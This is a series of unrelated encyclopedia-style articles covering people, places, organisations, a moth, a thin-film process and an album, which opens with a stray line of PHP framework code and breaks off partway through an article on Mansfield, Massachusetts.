use AuthorizesRequests, DispatchesJobs, ValidatesRequests;
}
``` |
Andrei Valerievich Bashkirov (; born June 22, 1970) is a Russian former professional ice hockey player. He played right wing.
Playing career
Bashkirov played 30 games for the Montreal Canadiens, earning just three assists. He has played in various leagues during his career in both Europe and North America.
Career statistics
Regular season and playoffs
International
External links
1970 births
Living people
Avangard Omsk players
Charlotte Checkers (1993–2010) players
Detroit Vipers players
EV Zug players
Fort Wayne Komets players
Fredericton Canadiens players
HC Fribourg-Gottéron players
HC Khimik Voskresensk players
HC MVD players
HC Sibir Novosibirsk players
Huntington Blizzard players
Lausanne HC players
Las Vegas Thunder players
Montreal Canadiens draft picks
Montreal Canadiens players
Port Huron Border Cats players
Providence Bruins players
Quebec Citadelles players
Russian ice hockey right wingers
Portland Rage players
Sacramento River Rats players
SC Langenthal players
Severstal Cherepovets players
Yermak Angarsk players
Sportspeople from Irkutsk Oblast |
Postplatyptilia alexisi is a moth of the family Pterophoridae. It is known from Chile.
The wingspan is 15–18 mm. Adults are on wing in December and January.
References
alexisi
Moths described in 1991
Endemic fauna of Chile |
Ronald L. Batory (born January 25, 1950) is an American railroad industry executive who served as the Administrator of the Federal Railroad Administration from 2018 to 2021. Batory has over 45 years of leadership experience in the railroad industry, including serving as president and chief operating officer of Consolidated Rail Corporation and as president of the Belt Railway of Chicago. According to a 2012 Fred Frailey article, "all Ronald Batory has ever wanted to do is work for a railroad."
Early life and education
Batory was born in Detroit, Michigan, the son of a New York Central Railroad car checker and union leader. He earned a B.A. in business at Adrian College and an M.A. in industrial management from Eastern Michigan University. His father urged him not to "waste a college education on a railroad."
Career
Railroad industry
In 1971, Batory took his first job as a traveling auditor in freight car accounting for the Detroit, Toledo and Ironton Railroad (DT&I). Batory rose through the ranks at DT&I, working as a traveling auditor, administrative assistant to the vice president of operations, assistant engineer of the Flat Rock, Michigan track system, industrial engineer manager, and director of material procurement and planning. When Grand Trunk Western Railroad bought DT&I, Batory became a transportation supervisor in Pontiac, Michigan, trainmaster in Toledo, Ohio, terminal manager and district operations manager in Chicago, and director of transportation planning in Detroit. In 1987, he became general manager of Chicago, Missouri and Western Railway.
Batory later joined Southern Pacific Transportation Company as general manager of its central region. From 1994 to 1998, he served as president of the Belt Railway of Chicago. He joined Consolidated Rail Corporation in 1998, serving as vice president for operations and then as president and chief operating officer from 2004 until April 1, 2017, when he retired.
Federal Railroad Administration
In July 2017, Batory was nominated by President Donald Trump to become the next Administrator of the Federal Railroad Administration. Railway Age's Jim Blaze wrote that Batory's nomination "is a creative move to bring fresh technical, business, operational and safety oversight to the FRA's important regulatory oversight position." Batory was confirmed by the Senate as Administrator of the Federal Railroad Administration on February 13, 2018. He left office on January 20, 2021. Later in 2021 he became board member of the East Broad Top Foundation, which owns and operates the East Broad Top Railroad.
References
Living people
Adrian College alumni
Eastern Michigan University alumni
Trump administration personnel
20th-century American railroad executives
21st-century American railroad executives
1950 births
United States Department of Transportation officials
Businesspeople from Detroit |
Closed space sublimation is a method of producing thin-films, esp. cadmium telluride photovoltaics, though it is used for other materials like antimony triselenide. It is a type of physical vapor deposition where the substrate to be coated and the source material are held close to one another. They are both placed in a vacuum chamber, which is pumped down. The source and substrate are then heated. The source is heated to some fraction of its melting temperature, and the substrate some lower temperature e.g. 640 °C and 600 °C, respectively. This causes sublimation of the source, allowing vapors to travel a short distance to the substrate, where they condense, producing a thin film. This short-path diffusion is similar in principle to short-path distillation. Compared to other techniques, it is a relevantly insensitive process, and takes as little as 15 minutes for an entire cycle. This makes it a very viable technique for large-scale manufacturing.
References
Thin film deposition
Semiconductor device fabrication |
Thorngate is an inner northern suburb of Adelaide, South Australia. It is located in the City of Prospect.
This small suburb is one of South Australia's most expensive. Although sales are rare, houses on Fitzroy Terrace and Churcher Street were valued well over $1 million in 2006.
History
Formerly part of Fitzroy, the suburb is thought to be named after the original grantee of that area, one John Batty Thorngate. Arriving from Gosport, Hampshire, Thorngate was granted his land in 1840.
Geography
Thorngate is one of Adelaide's smallest suburbs. It is bounded to the north by Carter Street, to the south by Fitzroy Terrace, in the west by Prospect Road and the east by Main North Road. The only other streets in the suburb are Churcher Street and Thorngate Street.
Demographics
The 2006 Census by the Australian Bureau of Statistics counted 180 persons in Thorngate on census night. Of these, half were female.
The majority of residents (76.7%) are of Australian birth, with an additional 6.7% identifying Greece as their country of birth.
The age distribution of Thorngate residents is similar to that of the greater Australian population. 64.4% of residents were over 25 years in 2006, compared to the Australian average of 66.5%; and 35.6% were younger than 25 years, compared to the Australian average of 33.5%.
Politics
Thorngate is in the South Australian House of Assembly electoral district of Adelaide and the Australian House of Representatives division of Adelaide.
Facilities and attractions
A BP service station sits on the corner of Carter Street and Main North Road.
Transportation
Roads
Thorngate is serviced by Main North Road and Prospect Road, which link the suburb to both Adelaide city centre and the northern suburbs.
Public transport
Buses
The suburb is serviced by the following bus routes:
G10
221, 222
224, 226F, N224
225
228
229
209F
See also
List of Adelaide suburbs
References
External links
Suburbs of Adelaide |
Hoseynabad (, also Romanized as Ḩoseynābād) is a village in Khvormiz Rural District, in the Central District of Mehriz County, Yazd Province, Iran. At the 2006 census, its population was 237, in 59 families.
References
Populated places in Mehriz County |
Juan de Santa Cruz Pachacuti Yamqui Salcamayhua (Viceroyalty of Perú, end of the 16th century – 17th century) was an indigenous Peruvian chronicler, author of the work , of brief length but great worth for the ethnohistorical studies.
Peruvian people of Aymara descent |
Fact and Value: Essays on Ethics and Metaphysics for Judith Jarvis Thomson is a 2001 book edited by Alex Byrne, Robert C. Stalnaker and Ralph Wedgwood in which the authors discuss moral and political issues, foundations of moral theory, metaphysics and epistemology. The book is dedicated to Judith Jarvis Thomson.
Philosopher Alan Soble, in a review of this Festschrift proposed 13 conditions that must be satisfied by any adequate Festschrift.
References
External links
Fact and Value: Essays on Ethics and Metaphysics for Judith Jarvis Thomson
2001 non-fiction books
Festschrifts
MIT Press books
Ethics books
Books in political philosophy |
Sakthan Thampuran Nagar (S.T Nagar) is one of the business districts of Thrissur city in Kerala state, South India. It was named after King of the Cochin, Sakthan Thampuran, the very architect of Thrissur.
History
Two decades ago, the place which is now called Sakthan Thampuran Nagar was a vast paddy field. Due to the arrival of Pope John Paul II, the paddy field was converted to this form. Now it has become a major commercial hub in city. Later, after the departure of Pope John Paul II, then Thrissur District Collector Vinod Rai developed and built Shaktan Thampuran Private Bus Stand.
Important places
The second largest private bus station in Kerala is situated here. S.T Nagar houses several economic and government administrative and private companies' offices (mostly government offices like banks). Thrissur Municipal Corporation is planning set up a convention centre with a capacity to accommodate 2,000 persons at Sakthan Thampuran Nagar. The corporation would be setting up a decorated 'Town Square' at Sakthan Thampuran Nagar. A statue of Sakthan Thampuran, the ruler of the erstwhile princely State of Kochi who contributed immensely for the development of Thrissur, is erected at the 'Town Square'.
Shaktan Thampuran Private Bus Stand, Thrissur
Thrissur Skywalk
South Indian Bank headquarters
Trichur Heart Hospital
Thrissur Vegetable Market
Balya Children Hospital
Thrissur City Traffic Police Headquarters
Thrissur Police Club
Thrissur Fire Force Station
LIC Area Office
Thrissur Fish Market
See also
Thrissur
Thrissur Skywalk
Thrissur District
Suburbs of Thrissur city
Retail markets in India
Shopping districts and streets in India |
Ordulf (sometimes Otto) ( – 28 March 1072) was the duke of Saxony from 1059, when he succeeded his father Bernard II, until his death. He was a member of the Billung family.
Reign
Ordulf's entire reign was occupied by wars with the Wends. He was allied with Denmark in this endeavor, and he strengthened the alliance by marrying Wulfhild of Norway, the daughter of King Olaf II of Norway, in 1042. Their son Magnus succeeded Ordulf as Duke of Saxony.
Ordulf's second wife, Gertrude of Haldensleben, daughter of a Count Conrad, was imprisoned in Mainz in 1076 and died 21 February 1116. Their son Bernard died after a fall from a horse in Lüneburg on 15 July of an unknown year.
Ordulf is buried in the Church of St. Michael in Lüneburg.
References
Sources
1020s births
1072 deaths
Dukes of Saxony
House of Billung
Burials at the Church of Saint Michael, Lüneburg
Year of birth uncertain |
Lawyers for Liberty (LFL) is a Malaysian human rights and law reform NGO. In 2010 it revealed several years' statistics of lethal police shootings in Malaysia and inferred that police had impunity to murder. In 2011 it commented on the exchange of political refugees with Australia and alleged police harassment of journalists. In 2011 LFL criticised Malaysian authorities' arrest and deportation of the Saudi Hamza Kashgari, who had published three allegedly blasphemous tweets, and filed a habeas corpus affidavit against four Malaysian authorities. LFL claimed that it would try to obtain Kashgari's freedom.
Aims
Lawyers for Liberty (LFL) has stated that the federal government of Malaysia and other Malaysian governmental authorities carry out "many unconstitutional, arbitrary and unreasonable decisions and acts". LFL claims to oppose these decisions and acts through "public campaigning, test case litigation and intervention, parliamentary lobbying", research, education.
Structure and leadership
Lawyers for Liberty consists of volunteer lawyers and activists.
Actions
In December 2010, Lawyers for Liberty published statistics of fatal police shootings in Malaysia from 2000 to 2009, reporting that there were typically five to 27 fatal shootings per year, with a maximum of 88 deaths in 2009 and a total of 279 over the decade defined as 2000–2009. LFL member N. Surendran interpreted the data as evidence for police lawlessness, stating, "They know they can commit murder without being called into account and that is a tremendous power to put in the hands of a human being to tell him that go ahead, commit murder, we will protect you."
In June 2011, LFL gave an interview with Radio Australia regarding a possible exchange of refugees between Malaysia and Australia. In August 2011, LFL criticised police questioning of an editor and journalist of the newspaper , associated with the People's Justice Party (PKR), and a member of the party, over an article appearing in the newspaper, as "baseless and a form of harassment".
Hamza Kashgari
In February 2012, a Saudi Arabian poet and journalist Hamza Kashgari, who had published three tweets of a would-be conversation with Muhammad, tried to leave Kuala Lumpur to seek political asylum in New Zealand in order to avoid apostasy or blasphemy charges and likely execution, and was detained by Malaysian authorities. LFL members attempted to contact Kashgari during his detention. They obtained a High Court injunction at about 13:30 to 13:45 on 12 February against him being deported back to Saudi Arabia. He was deported to Riyadh on the same day. Lawyers for Liberty checked immigration records at Sultan Abdul Aziz Shah Airport (Subang) and Kuala Lumpur International Airport, finding no record of [Kashgari's] deportation.
Lawyer K. Ragunath and several members of LFL filed a habeas corpus affidavit against the Inspector-General of Police, the Immigration Director-General, the Home Minister and the federal government of Malaysia, alleging that "they [had] been misled throughout Kashgari's arrest and deportation." Fadiah Nadwa Fikri of LFL referred to the authorities' initial claim of an Interpol request that was later denied, an incorrect claim of Kashgari's arrival date in Malaysia, and a claim that Kashgari had been deported "according to a 'lang-standing arrangement' [between] Malaysia and Saudia Arabia." Fadiah said that no such treaty or official documentation exists. LFL accused the Malaysian authorities of violating international law in their de facto deportation of Kashgari.
LFL stated that it would continue to campaign for Kashgari's release to prevent him from being executed for his three allegedly blasphemous tweets.
See also
Human rights in Malaysia
References
External links
Official website
KL High Court against Shanmugam
Rechtsanwalt Schweinfurt
Human rights organisations based in Malaysia |
Philip Hearle (born 31 May 1978) is a South African cricketer. He played in six first-class and ten List A matches from 1996/97 to 1999/00.
See also
List of Boland representative cricketers
References
External links
1978 births
Living people
South African cricketers
Boland cricketers
Easterns cricketers
Gauteng cricketers
Cricketers from Johannesburg |
Kaye Hallam (born 24 March 1957) is an Australian former professional tennis player.
Hallam grew up in the New South Wales town of Wagga Wagga and competed on the professional tour in the 1970s. She was a doubles quarter-finalist at the 1976 Australian Open, partnering Renee Blount. Her best singles performance was a second round appearance in the December edition of the 1977 Australian Open.
References
External links
1957 births
Living people
Australian female tennis players
Tennis people from New South Wales
Sportspeople from Wagga Wagga
Sportswomen from New South Wales |
Lieve van Kessel (born 15 September 1977, Amsterdam) is a Dutch field hockey player.
Van Kessel won a silver medal at the 2004 Summer Olympics in Athens.
References
External links
1977 births
Living people
Dutch female field hockey players
Field hockey players at the 2004 Summer Olympics
Olympic field hockey players for the Netherlands
Olympic medalists in field hockey
Olympic silver medalists for the Netherlands
Field hockey players from Amsterdam
Medalists at the 2004 Summer Olympics
20th-century Dutch women
21st-century Dutch women |
Valeriy Oleksіyovych Baranov (; 19 April 1957 – 5 May 2023) was a Ukrainian politician. He served as Governor of Zaporizhzhia Oblast, March – October 2014 and was a People's Deputy of Ukraine (2007–2012).
Biography
Valeriy Baranov was born on 19 April 1957, in Berdyansk. He was married, his spouse Natalya (b. 1956) was a housewife; they had two daughters: Maryna (b. 1977) - a private entrepreneur and Olha (b. 1998).
Education
In 1979 he graduated from Zhdanov Metallurgical Institute ("Technology of mechanical engineering, machine tools and instruments", with qualification "Mechanical Engineer").
In 2001 he graduated from the Dnipropetrovsk branch of the National Academy of Public Administration under the President of Ukraine (major "State Administration" with qualification "Master of Public Administration").
Career
1979 – the repairman of process equipment at Berdyansk plant "Yuzhgidromash"
1980–1981 – Production Engineer at "Yuzhgidromash"
September – December 1981 - Secretary of the Komsomol Committee of Berdyansk engineering college
1981–1986 – second, then first Secretary of Berdyansk city Komsomol Committee
1986–1988 – Deputy Head of the shop at "Yuzhgidromash"
1988–1990 – Head of the organizational department of Berdyansk city Communist Party committee
1990–1991 – Second Secretary of Berdyansk city Communist Party committee
1991–1998 – CEO of manufacturing enterprise "Avanta" (Berdyansk)
In April 1998 was elected the mayor of Berdyansk.
Politics
On 23 November 2007, Baranov was elected as People's Deputy of Ukraine from Lytvyn Bloc (in November the faction 2010 renamed itself to People's Party). From 2007 to 2010 he was Deputy Head of the Verkhovna Rada Committee on Construction, Urban Development, Housing and Regional Policy. In November 2010 Valeriy Baranov was appointed the Head of the Budget Committee.
Baranov did not return to parliament after the 2012 Ukrainian parliamentary election after losing in single-member districts number 78 (first-past-the-post wins a parliament seat) located in Zaporizhzhia Oblast.
On 4 March 2014, Baranov was appointed Governor of Zaporizhzhia Oblast by acting President of Ukraine Oleksandr Turchynov.
During the 2020 Ukrainian local elections Baranov was elected the mayor of Berdyansk as a candidate of For the Future. On 16 November 2021 he resigned as mayor due to there not being a majority in the city council.
Death
Baranov died on 5 May 2023, at the age of 66.
Awards
December 2000 – Diploma of the Cabinet of Ministers of Ukraine
December 2000 – Order of Merits of the III class, II class - June 2007
"Golden Dolphin" award (nominated for "City and Regional Manager of the Year")
2002 – a commemorative "For regіonal development"
2005 – "Professional Award" badge of Federation of Trade Unions of Ukraine
See also
2007 Ukrainian parliamentary election
List of Ukrainian Parliament Members 2007
Verkhovna Rada
External links
Valeriy Baranov' profile at Verkhovna Rada of Ukraine official web-site
References
1957 births
2023 deaths
People from Berdiansk
Pryazovskyi State Technical University alumni
Komsomol of Ukraine members
Sixth convocation members of the Verkhovna Rada
Communist Party of Ukraine (Soviet Union) politicians
People's Party (Ukraine) politicians
Governors of Zaporizhzhia Oblast
Mayors of places in Ukraine
Recipients of the Order of Merit (Ukraine), 1st class
Recipients of the Order of Merit (Ukraine), 2nd class
Recipients of the Order of Merit (Ukraine), 3rd class
Recipients of the Honorary Diploma of the Cabinet of Ministers of Ukraine |
The Svitava () is a river in the Czech Republic, a left tributary of the Svratka River. It flows through the Pardubice and South Moravian regions. It is long.
Etymology
The river's name referred to its clear water and was derived from svítat, which meant "be clear" in Old Czech. The river is first documented in 1125 in Chronica Boemorum.
Characteristic
The Svitava originates in the territory of Svitavy in the Svitavy Uplands at the elevation of and flows to Brno, where it enters the Svratka River at the elevation of . It is long. Its drainage basin has an area of .
The longest tributaries of the Svitava are:
Settlements
The river valley is densely populated and there are relatively many notable settlements on the river. Apart from the city of Brno, the most significant towns on the river are Blansko and Svitavy, named after the river. The river flows through the municipal territories of Svitavy, Hradec nad Svitavou, Banín, Březová nad Svitavou, Brněnec, Rozhraní, Stvolová, Skrchov, Letovice, Svitávka, Boskovice, Skalice nad Svitavou, Lhota Rapotina, Doubravice nad Svitavou, Rájec-Jestřebí, Ráječko, Blansko, Olomučany, Adamov, Bílovice nad Svitavou and Brno.
Bodies of water
There are 583 bodies of water in the basin area. The largest of them is the Letovice Reservoir with an area of , built on the Křetínka. Two fishponds are built on the upper course of the Svitava.
Use
There are a large number of mills and hydroelectric power stations on the river.
Tourism
The Svitava is suitable for river tourism. The river is navigable all year round, but there are many weirs on it. The most popular section for paddlers is between Letovice and Blansko.
See also
List of rivers of the Czech Republic
References
External links
River flow at Bílovice nad Svitavou station – Flood Warning and Forecasting Service of the Czech Hydrometeorological Institute
Rivers of the Pardubice Region
Rivers of the South Moravian Region |
Montenegrin Republic League (Montenegrin: Crnogorska republička liga / Црногорска републичка лига) was the third tier football league of SFR Yugoslavia. The top clubs were promoted to Yugoslav Second League.
Overview
Founded in spring 1946, Montenegrin Republic League was the oldest football competition in Montenegro after WWII. It existed 60 years, and most of the time it was the third tier of competition (after First League and Second League). In inaugural season (1946) in Montenegrin Republic League played only four clubs – FK Budućnost, FK Lovćen, FK Sutjeska and FK Arsenal.
During its existence, Montenegrin Republic League was organised by Football Association of Montenegro.
Number of participants was different – from four (1946) to 18 during the nineties.
Except that, another competition on republic level, which existed from 1946 to 2006 was Montenegrin Republic Cup.
Levels on pyramid
While existed, Montenegrin Republic League was not always been third level of competition. It started as a Montenegrin qualifiers for inaugural season of Yugoslav First League. During three seasons (1946–47, 1952 and 1953) it was the second-tier competition in SFR Yugoslavia football system, and during the five years the competition have role of fourth level on pyramid.
Winners and seasons
Champions
During the six decades, 18 different clubs won the champions title in Montenegrin Republic League.
Most titles won OFK Titograd (12), FK Lovćen (9) and FK Bokelj (8). Except them, eight other teams won more than one champions' title.
Below is a list of champions of Montenegrin Republic League, by number of titles.
Seasons
From 1946 to 2006, there was 61 seasons of Montenegrin Republic League. Below is the list of winners, runners-up and third-placed teams by every single season. In the number of clubs on higher level are counted all Montenegrin teams which played in Yugoslav First League, Yugoslav Second League or Yugoslav Third League at the time.
Double = winner of Montenegrin Republic League and Montenegrin Republic Cup during the same season
Number of Montenegrin clubs which played on higher level (Yugoslav First League, Yugoslav Second League, Yugoslav Third League)
Records and statistics
All-time records
Biggest league victory/defeat: 17–1, Kom vs. Županica, season 2001/02; 15–0, Titograd – Iskra, season 1998/99
Biggest number of scored goals on single season: 118, Titograd, season 1998/99; 106, Mornar, season 2000/01; 106, Kom, season 2001/02
Biggest number of conceded goals on single season: 157, Polimlje, season 2000/01; 123, Županica, season 2001/02; 118, Tekstilac, season 1994/95
Most wins on single season: 28, Mornar, season 2000/01
Season without any win: Arsenal, season 1966/67; Tekstilac, season 1965/66
Lowest number of defeats on single season: 1, Mornar, season 2000/01; 1, Titograd, season 1986/87; 1, Titograd, season 1978/79; 1, Titograd, season 1974/75; Titograd, season 1966/67; Rudar, season 1966/67; 1, Lovćen, season 1964/65; 1, Titograd, season 1963/64
Biggest number of defeats on single season: 27, Polimlje, season 2000/01
Most draws on single season: 15, Arsenal, season 1989/90
Biggest number of minutes without conceded goal: 1197, Titograd (goalkeeper: V. Raičević), season 1998/99
Biggest attendance: 10,000, Berane – Zeta, season 1982/83
Note: Records are counted only for seasons with 10 or more participants Sources:Godišnjak Fudbalskog saveza Jugoslavije, Beograd,
Relegation and promotion
Higher tier
During the most time, higher level of competition was Yugoslav Second League or Second League of FR Yugoslavia. Exceptions are three seasons when participants of Montenegrin Republic League gained promotion in Yugoslav First League or in the qualifiers for the top-flight, and five seasons when members of Republic League went to Yugoslav Third League.
Lower tier
Since 1968, Montenegrin regional league system was founded as official competition of fourth-tier. League was structured through three groups – Central (Srednja regija), South (Južna regija) and North (Sjeverna regija). Winners of each group gained promotion to Montenegrin Republic League. From the other side, since 1968, three worst-placed members of Montenegrin Republic League were relegated to regional system, while the group depended from their geographical position.
Same structure is kept in the competition of Montenegrin Third League since 2006.
See also
Montenegrin clubs in Yugoslav football competitions (1946–2006)
Montenegrin Republic Cup (1947–2006)
Montenegrin Football Championship (1922–1940)
Montenegrin First League
Montenegrin First League playoffs
Montenegrin Cup
Montenegrin clubs in European football competitions
Montenegrin Derby
Montenegrin Second League
Montenegrin Third League
Football in Montenegro
References
3
Recurring sporting events established in 1946
1946 establishments in Montenegro |
NEI College of Technology was a technical college in Minneapolis, Minnesota, United States, specializing in electronics, and computer and information technology. It was founded in 1930 by George W. Young (founder of WDGY radio) as a school for radio repair. In 1967 it was renamed the Northwestern Electronics Institute. At that time it was located at 3800 South Minnehaha Avenue in Minneapolis. In 1982 it moved to its location to Columbia Heights, the former Columbia Heights High School, and was renamed NEI College of Technology. NEI is an abbreviation for Northwestern Electronics Institute.
It merged with Dunwoody Institute in Minneapolis to form the Dunwoody College of Technology in June 2003, at which point it moved all operations to the Dunwoody campus. The time of the merger, NEI had 500 students and Dunwoody had 1200 full-time and 2700 part-time students. The former campus, which consisted of one building, was purchased by the city of Columbia Heights in February 2004 and demolished in November 2004.
An "NEI Center" was established initially at Dunwoody to house the former NEI programs, but the two institutions have fully merged. Dunwoody maintains alumni connections for NEI, including annual gatherings.
References
City article with picture of the demolition
Press release from Dunwoody announcing merger - broken, no archive found
1930 establishments in Minnesota
2003 disestablishments in Minnesota
Universities and colleges established in 1930
Defunct private universities and colleges in Minnesota |
Scottish Women's Aid is the lead domestic abuse organisation in Scotland.
The charity plays a vital role coordinating, influencing and campaigning for effective responses to domestic abuse and supports a network of 36 Women's Aid services across Scotland delivering crucial support including refuge, counselling and outreach at a local level.
Scottish Women's Aid also took over management of Scotland's Domestic Abuse and Forced Marriage Helpline in 2016, a national helpline that works in partnership with the Men's Advice Line to provide a 24/7 service to anyone concerned about their own relationship, or about somebody they know.
History
Women's Aid began in Scotland in the 1970s. Its roots were in the Women's Liberation Movement (WLM), a feminist social movement which emerged in many countries around the world (including Scotland) during the late 1960s. It brought together a diverse range of women who were angry about the limitations women faced in their everyday lives. Through creative forms of protest they made people aware of the inequalities women faced. They campaigned on a number of issues including equal pay, free childcare, financial and legal independence, an end to discrimination against lesbians, and free and safe access to abortion. They challenged the way women were viewed and talked about in society and were very important in encouraging women to be more confident in making demands.
The WLM in Scotland first emerged in Edinburgh, Glasgow, St Andrews, Dundee, Aberdeen, and Lerwick. Groups of women in these towns and cities got together to discuss their anger and frustration, and from these discussions ideas for political action emerged. These campaigns included lobbying for equal pay, spray-painting over offensive advertising, and demonstrating for women's right to choose. They set up a range of organisations and groups which last to this day, including Women's Aid.
For some WLM activists, focusing on tackling violence against women was a way to take practical action to challenge inequality. This resulted in the first Women's Aid groups being established in Scotland in Glasgow and Edinburgh in 1973. This was soon followed by Women's Aid groups in Dundee, Kirkcaldy, Perth and further afield. By 1976 it was agreed there was a need for an organising body to coordinate the growing network of groups, and so Scottish Women's Aid was founded the same year. Scottish Women's Aid was set up to nurture new groups as well as to support established groups through research, legal advice and campaigning for changes to the law.
Women's Aid in Scotland has been at the forefront of supporting women, children and young people experiencing domestic abuse; lobbying for policy changes; conducting research to enhance understandings of domestic abuse; and challenging negative attitudes. During the last 40+ years, Women's Aid has marched, protested, lobbied, and campaigned with the ultimate aim of ending domestic abuse.
During this time, Women's Aid in Scotland has gone through a lot of changes but at its core remains the focus on supporting women, children and young people who have experienced domestic abuse. Speaking Out: Recalling Women's Aid in Scotland, a two-year heritage project coordinated by Scottish Women's Aid, sought to discover, record, and celebrate the history of Women's Aid in Scotland.
In 2018, Scottish Women's Aid won their campaign for the introduction of legislation that criminalises psychological domestic abuse and coercive and controlling behaviour. This legislation came into force on the 1st of April 2019.
Funding
Scottish Women's Aid receives the majority of its funding from taxpayers and a variety of project based funds. It also accepts donations from individuals through its website. In 2009 it had an income of over £1 million. in 2018 Scottish Women’s Aid was granted training funding of £165,000 from the Scottish Government as a Domestic Abuse Bill progressed through Parliament. Scottish Women's Aid received funds in 2020 of £1,350,000 from the Scottish Government’s £350 million Communities Fund to ensure key support services were maintained In July 2021 a £5m fund to help support victims of gender-based violence was established and Scottish Woman's Aid benefited from new investment.
See also
Women's Aid Federation of England
Rape Crisis Scotland
References
External links
Official website
Feminist organisations in Scotland
Family and parenting issues groups in the United Kingdom
Women's organisations based in Scotland
Organizations established in 1973
Children's charities based in Scotland
1973 establishments in Scotland
Women's rights in Scotland
Charities based in Edinburgh
Domestic violence-related organizations
Family in Scotland |
Don't Cry Out Loud is a live album by Elkie Brooks, recorded live at the Shepherd's Bush Empire, London, during her 2004 UK tour. It was released on CD in 2005 by Recall Records. The title song "Don't Cry Out Loud" was a hit single for Brooks in 1978.
Track listing
Disc one
"I Think I'm Going Back"
"Superstar"
"Rose"
"Sunshine After the Rain"
"Fool If You Think It's Over"
"Runaway"
"No More the Fool"
"Don't Cry Out Loud"
"Lilac Wine"
"Gasoline Alley"
"Nights in White Satin"
Disc 2
"Red House"
"Back Away"
"Muddy Water Blues"
"Pearl's a Singer
"Shooting Star"
"Roadhouse Blues"
"Groom's Still Waiting at the Altar"
"Baby What Do You Want Me to Do"
"Out Of the Rain"
"We've Got Tonight"
Personnel
Elkie Brooks – vocals
Jean Roussel – keyboards
Geoff Whitehorn – guitar
Mike Cahen – guitar
Mike Richardson – drums
Brian Badhams – bass guitar
Lee Noble – backing vocals, percussion
Elkie Brooks albums
Recall Records albums
2005 live albums |
Richard Crompton is a Manchester-born British journalist, and author of crime fiction featuring Mollel, a Maasai detective in Kenya.
Crompton, a former journalist for the BBC, moved to Kenya in 2005 with his wife, a human rights lawyer, who took up a job to prosecute the perpetrators of the Rwandan genocide.
In 2007 Crompton covered the post-election violence in Kenya for CNBC.
In 2010 Crompton won the Daily Telegraph ghost story competition with his short story inspired by Facebook titled Friends.
In 2013 his first novel was published as The Honey Guide in the UK/Commonwealth and Hour of the Red God in the US/Canada. The novel features Detective Mollel, a Maasai police detective with the Kenyan CID.
Works
The Honey Guide in the UK/Commonwealth and Hour of the Red God in US/Canada
Hell's Gate
References
Living people
British mystery writers
21st-century British novelists
British male writers
21st-century British male writers
Year of birth missing (living people) |
Mansfield is a town in Bristol County, Massachusetts, United States. As of the United States 2020 Census, the town population is 23,860. Mansfield is in the south-southwest suburbs of Boston and is also close to Providence, Rhode Island. The village of Mansfield Center is located in the town. The town is twinned with Mansfield in Nottinghamshire, England.
History
The area to become Mansfield was first scouted in 1640 by Captain Miles Standish, settled in 1658 and was officially incorporated in 1775. It was named for William Murray, 1st Earl of Mansfield, a pro-colonial member of the House of Lords. Mansfield is the home of the Xfinity Center (formerly known as Great Woods, Tweeter Center and Comcast Center) concert venue, one of the most popular in New England. It is also the birthplace of Honey Dew Donuts, a regional New England chain of donut shops. The first Honey Dew was opened at 221 North Main Street on June 6, 1973.
Benjamin E. Bates, an industrialist and philanthropist, who was the founder of Bates College was born in Mansfield in 1808. Stove and furnace manufacturer and innovator Gordon Chilson (1804–1877) worked here.
Geography
According to the United States Census Bureau, the town has a total area of , of which, of it is land and of it (1.25%) is water. There are five conservation areas in the town. They are, from largest to smallest: the Great Woods Conservation Area, Maple Park Conservation Area, York Conservation Area, Marie Strese Conservation Area, and Sweet Pond Conservation Area. The town is bisected by the Canoe, Rumford and Wading Rivers, as well as many small brooks which are all part of the Taunton River Watershed.
Mansfield's location is 28 miles south of Boston, 14 miles west of Brockton, and 19 miles north of Providence, Rhode Island. It is bordered by Foxborough and Sharon to the north, Easton to the east, Norton to the south, and North Attleborough and Attleboro to the west. The town's northern border is also a portion of the northern border of Bristol County. Its neighborhoods include East Mansfield, Whiteville, Ginty Corner, Mansfield Center, Purdy Corner, Robinsonville and West Mansfield.
Demographics
As of the census of 2000, there were 22,414 people, 7,942 households, and 5,861 families residing in the town. The population density was . There were 8,120 housing units at an average density of . The racial makeup of the town was 94.30% White, 2.18% African American, 0.21% Native American, 1.93% Asian, 0.02% Pacific Islander, 0.43% from other races, and 0.94% from two or more races. Hispanic or Latino of any race were 1.41% of the population.
There were 7,942 households, out of which 44.7% had children under the age of 18 living with them, 62.2% were married couples living together, 8.9% had a female householder with no husband present, and 26.2% were non-families. 21.1% of all households were made up of individuals, and 5.9% had someone living alone who was 65 years of age or older. The average household size was 2.82 and the average family size was 3.34.
In the town, the population was spread out, with 31.4% under the age of 18, 5.3% from 18 to 24, 38.1% from 25 to 44, 18.9% from 45 to 64, and 6.4% who were 65 years of age or older. The median age was 34 years. For every 100 females, there were 99.4 males. For every 100 females age 18 and over, there were 94.8 males.
The median income for a household in the town was $66,925, and the median income for a family was $78,058 (these figures had risen to $93,533 and $111,316 respectively as of a 2007 estimate). Males had a median income of $52,416 versus $36,658 for females. The per capita income for the town was $27,441. About 3.0% of families and 4.5% of the population were below the poverty line, including 3.6% of those under age 18 and 12.9% of those age 65 or over.
Government
The town is governed by an open town meeting, and is managed by a select board and town manager. The Mansfield Public Safety Complex, completed in 2019, houses the police and fire departments and is located in Mansfield Center on Route 106. There is also a secondary fire station located in West Mansfield. The Mansfield Public Library is located at Memorial Park, and the post office is near the intersection of Routes 106 & 140. In addition to Memorial Park, the town also has the Magna-Vista Recreation Area.
On the state level, the town is represented in the State Senate as a portion of the Bristol and Norfolk district (represented by Paul Feeney), including Dover, Foxborough, Mansfield, Medfield, Norton, Rehoboth, Seekonk and Walpole, as well as parts of Attleboro and Sharon. The town is a part of three separate state representative districts, the First and Fourteenth Bristol and Eighth Norfolk districts. The First Bristol district is represented by Jay Barrows, a Mansfield native who frequently makes appearances at town events. The Fourteenth Bristol and Eighth Norfolk districts are represented by Adam Scanlon and Ted Phillips, respectively. The town is also patrolled by Troop H (Metro Boston region) of the Massachusetts State Police, 3rd District (Foxborough barracks). On the national level, the town is part of Massachusetts Congressional District 4, which is represented by Jake Auchincloss. The state's senior (Class II) Senator, elected in 2012, is Elizabeth Warren and the state's junior (Class I) Senator, elected in 2013, is Ed Markey.
Education
The first school record in Mansfield is in 1719 when Thomas Skinner was chosen to be the first school master. School was taught out of people's homes until the first school building was built in 1793. The school was a small brick building and was in poor condition by 1850. Mansfield's first high school came to be in 1872 under the direction of Rev. A. F. Frost.
